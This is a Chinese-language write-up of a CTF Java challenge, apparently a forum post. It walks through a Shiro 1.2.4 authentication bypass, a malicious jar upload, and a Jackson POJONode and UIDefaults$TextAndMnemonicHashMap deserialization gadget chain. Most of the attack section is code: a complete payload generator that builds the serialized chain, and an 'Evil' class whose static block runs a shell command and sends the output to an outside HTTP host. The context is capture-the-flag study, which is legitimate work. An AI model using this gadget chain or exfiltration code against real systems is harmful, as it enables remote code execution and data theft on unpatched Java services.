2024 ycb ez_java赛题分析
Anchor 发表于 北京 CTF 520浏览 · 2024-08-28 02:35

分析

这里首先有一个权限认证,查看 Shiro 的版本是 1.2.4 ,可以利用 ShiroCVE-2020-1957 漏洞绕过权限认证,在要访问的接口后面加上 / 即可绕过。

/user/index -> /user/index/

然后看后端有两个接口,一个文件上传漏洞,一个反序列化漏洞。

@PostMapping({"/user/ser"})
@ResponseBody
public String ser(@RequestParam("ser") String ser) throws IOException, ClassNotFoundException {
    byte[] decode = Base64.getDecoder().decode(ser);
    ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
    byteArrayOutputStream.write(decode);
    MyObjectInputStream objectInputStream = new MyObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
    objectInputStream.readObject();
    return "Success";
}

@PostMapping({"/user/upload"})
@ResponseBody
public String handleFileUpload(MultipartFile file) {
    if (file.isEmpty()) {
        return "File upload failed";
    } else {
        try {
            String fileName = file.getOriginalFilename();
            int index = fileName.lastIndexOf(".");
            if (!fileName.contains("../") && !fileName.contains("..\\")) {
                String suffix = fileName.substring(index);
                if (suffix.equals(".jsp")) {
                    return "File upload failed";
                } else {
                    byte[] bytes = file.getBytes();
                    Path path = Paths.get("/templates/" + fileName);
                    Files.write(path, bytes, new OpenOption[0]);
                    return "File upload success";
                }
            } else {
                return "File upload failed";
            }
        } catch (Exception var7) {
            var7.printStackTrace();
            return "File upload failed";
        }
    }
}

关键信息点在 User.getGift() 方法中,这个 getter 方法可以添加任意的 classpath

public String getGift() {
    String gift = this.username;
    gift = gift.trim();
    gift = gift.toLowerCase();
    if (gift.startsWith("http") || gift.startsWith("file")) {
        gift = "nonono";
    }

    try {
        URL url1 = new URL(gift);
        Class<?> URLclass = Class.forName("java.net.URLClassLoader");
        Method add = URLclass.getDeclaredMethod("addURL", URL.class);
        add.setAccessible(true);
        URLClassLoader classloader = (URLClassLoader)ClassLoader.getSystemClassLoader();
        add.invoke(classloader, url1);
    } catch (Exception var6) {
        var6.printStackTrace();
    }

    return gift;
}

那思路就很明显了:

  1. 我们可以先上传一个包含了恶意类的 jar 包到 /templates 目录。
  2. 然后通过反序列化漏洞的接口调用 Usergetter 方法来添加一个 classpath 为我们上传的恶意 jar 包。
  3. 再次通过反序列化漏洞的接口,来反序列化我们恶意 jar 包中的类,目的是触发 JVM 加载我们的类,从而调用 static 代码块中的恶意代码。经过 URLDNS 可以发现靶机是出网的,这里直接 http 请求外带命令执行的结果就可以了。

这里添加类路径过滤了 file 协议和 http 协议,这里可以用 jar 协议来绕过。

jar:file:///templates/evil.jar!/

这里发现反序列化加了一些黑名单,可以利用 jdk新入口挖掘 中介绍的 UIDefaults$TextAndMnemonicHashMap 来绕过,TextAndMnemonicHashMap 中的 get() 方法存在任意 toString() 调用漏洞。

调用栈如下:

getGift:21, User (com.example.ycbjava.bean)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
serializeAsField:689, BeanPropertyWriter (com.fasterxml.jackson.databind.ser)
serializeFields:774, BeanSerializerBase (com.fasterxml.jackson.databind.ser.std)
serialize:178, BeanSerializer (com.fasterxml.jackson.databind.ser)
defaultSerializeValue:1142, SerializerProvider (com.fasterxml.jackson.databind)
serialize:115, POJONode (com.fasterxml.jackson.databind.node)
serialize:39, SerializableSerializer (com.fasterxml.jackson.databind.ser.std)
serialize:20, SerializableSerializer (com.fasterxml.jackson.databind.ser.std)
_serialize:480, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
serializeValue:319, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
serialize:1518, ObjectWriter$Prefetch (com.fasterxml.jackson.databind)
_writeValueAndClose:1219, ObjectWriter (com.fasterxml.jackson.databind)
writeValueAsString:1086, ObjectWriter (com.fasterxml.jackson.databind)
nodeToString:30, InternalNodeMapper (com.fasterxml.jackson.databind.node)
toString:58, BaseJsonNode (com.fasterxml.jackson.databind.node)
get:1251, UIDefaults$TextAndMnemonicHashMap (javax.swing)
equals:492, AbstractMap (java.util)
putVal:636, HashMap (java.util)
readObject:1419, HashMap (java.util)

payload

payload如下:

package com.example.ycbjava.poc;

import com.example.ycbjava.bean.User;
import com.fasterxml.jackson.databind.node.POJONode;
import sun.reflect.ReflectionFactory;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class Payload {
    public static void main(String[] args) throws Exception{
        User user = new User();
        user.setUsername("jar:file:///templates/evil.jar!/");
        POJONode node = new POJONode(user);
        HashMap map = makeMapToString(node, node);
        byte[] serialize = serialize(map);
        System.out.println(Base64.getEncoder().encodeToString(serialize));
    }
    public static HashMap makeMapToString( Object o1,  Object o2) throws Exception{
        Map tHashMap1 = (Map) createWithoutConstructor(Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap"));
        Map tHashMap2 = (Map) createWithoutConstructor(Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap"));
        tHashMap1.put(o1,null);
        tHashMap2.put(o2,null);
        setFieldValue(tHashMap1,"loadFactor",1);
        setFieldValue(tHashMap2,"loadFactor",1);
        HashMap hashMap = new HashMap();
        Class node = Class.forName("java.util.HashMap$Node");
        Constructor constructor = node.getDeclaredConstructor(int.class, Object.class, Object.class, node);
        constructor.setAccessible(true);
        Object node1 = constructor.newInstance(0, tHashMap1, null, null);
        Object node2 = constructor.newInstance(0, tHashMap2, null, null);
        Field key = node.getDeclaredField("key");
        Field modifiers = Field.class.getDeclaredField("modifiers");
        modifiers.setAccessible(true);
        modifiers.setInt(key, key.getModifiers() & ~Modifier.FINAL);
        key.setAccessible(true);
        key.set(node1, tHashMap1);
        key.set(node2, tHashMap2);
        Field size = HashMap.class.getDeclaredField("size");
        size.setAccessible(true);
        size.set(hashMap, 2);
        Field table = HashMap.class.getDeclaredField("table");
        table.setAccessible(true);
        Object arr = Array.newInstance(node, 2);
        Array.set(arr, 0, node1);
        Array.set(arr, 1, node2);
        table.set(hashMap, arr);
        return hashMap;
    }

    public static <T> T createWithoutConstructor ( Class<T> classToInstantiate )
            throws Exception {
        return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
    }
    public static void setAccessible(AccessibleObject member) {
        member.setAccessible(true);
    }
    public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )
            throws Exception {
        Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
        setAccessible(objCons);
        Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
        setAccessible(sc);
        return (T)sc.newInstance(consArgs);
    }
    public static void setFieldValue(Object obj, String name, Object value) throws Exception{
        Field field = getField(obj.getClass(), name);
        field.set(obj, value);
    }

    public static byte[] serialize(Object object) throws Exception{
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(object);
        return baos.toByteArray();
    }
    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            setAccessible(field);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }
}
import java.io.*;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.Base64;

public class Evil implements Serializable {
    static {
        try {
            Process process = Runtime.getRuntime().exec("cat /ffffffllllllaaagggg");
            InputStream is = process.getInputStream();
            BufferedReader br = new BufferedReader(new InputStreamReader(is));
            String s;
            StringBuilder sb = new StringBuilder();
            while ((s = br.readLine()) != null) {
                sb.append(s);
            }
            URL url = new URL("http://xxx.xxx.xxx.xxx:10001/" + Base64.getEncoder().encodeToString(sb.toString().getBytes()));
            HttpURLConnection connection = (HttpURLConnection) url.openConnection();
            connection.setRequestMethod("GET");
            BufferedReader reader = new BufferedReader(new InputStreamReader(connection.getInputStream()));
            reader.close();
            connection.disconnect();
        } catch (Exception var1) {
        }
    }
}

第一次打获取flag路径,第二次打读flag

附件:
  • ycbjava-0.0.1-SNAPSHOT.zip 下载
0 条评论
某人
表情
可输入 255
目录